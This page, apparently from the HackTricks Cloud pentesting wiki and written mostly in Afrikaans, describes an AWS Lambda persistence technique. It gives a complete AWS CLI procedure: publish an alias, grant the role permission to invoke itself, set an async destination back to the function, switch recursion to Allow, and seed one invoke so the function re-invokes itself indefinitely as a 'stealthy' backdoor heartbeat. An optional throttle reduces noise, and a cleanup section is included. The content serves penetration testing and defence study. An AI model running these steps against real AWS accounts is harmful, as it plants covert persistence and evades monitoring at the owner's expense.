Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md

4.7 KiB

AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

Misbruik Lambda asynchronous destinations saam met die Recursion-konfigurasie om 'n funksie aanhoudend self te laat herroep sonder 'n eksterne skeduleerder (geen EventBridge, cron, ens.). Standaard beëindig Lambda rekursiewe lusse, maar deur die recursion config op Allow te stel word dit weer aangeskakel. Destinations lewer aan die dienskant vir async invokes, sodat 'n enkele seed invoke 'n stil, code-free hartklop/backdoor-kanaal skep. Opsioneel beperk met reserved concurrency om geraas laag te hou.

Aantekeninge

  • Lambda laat nie toe om die funksie direk as sy eie destination te konfigureer nie. Gebruik 'n function alias as die destination en laat die execution role toe om daardie alias te invoke.
  • Minimum permissions: vermoë om die teikenfunksie se event invoke config en recursion config te lees/op te dateer, 'n version te publish en 'n alias te bestuur, en die funksie se execution role policy op te dateer om lambda:InvokeFunction op die alias toe te laat.

Vereistes

  • Region: us-east-1
  • Vars:
  • REGION=us-east-1
  • TARGET_FN=

Stappe

  1. Kry die function ARN en huidige recursion-instelling
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
  1. Publiseer 'n weergawe en skep/werk 'n alias (wat as self-bestemming gebruik word)
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
  1. Laat toe dat die funksie-uitvoeringsrol die alias kan aanroep (vereis deur Lambda Destinations→Lambda)
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
  1. Konfigureer async destination na die alias (self via alias) en skakel retries uit
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION

# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
  1. Laat rekursiewe lusse toe
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
  1. Saai 'n enkele asynchronous invoke
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
  1. Let op deurlopende aanroepe (voorbeelde)
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
  1. Opsionele stealth throttle
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION

Opschoning

Breek die loop en verwyder persistence.

aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true

Impak

  • Enkele async invoke veroorsaak dat Lambda homself voortdurend weer-invoke sonder 'n eksterne skeduleerder, wat stealthy persistence/heartbeat moontlik maak. Reserved concurrency kan geraas beperk tot 'n enkele warm execution.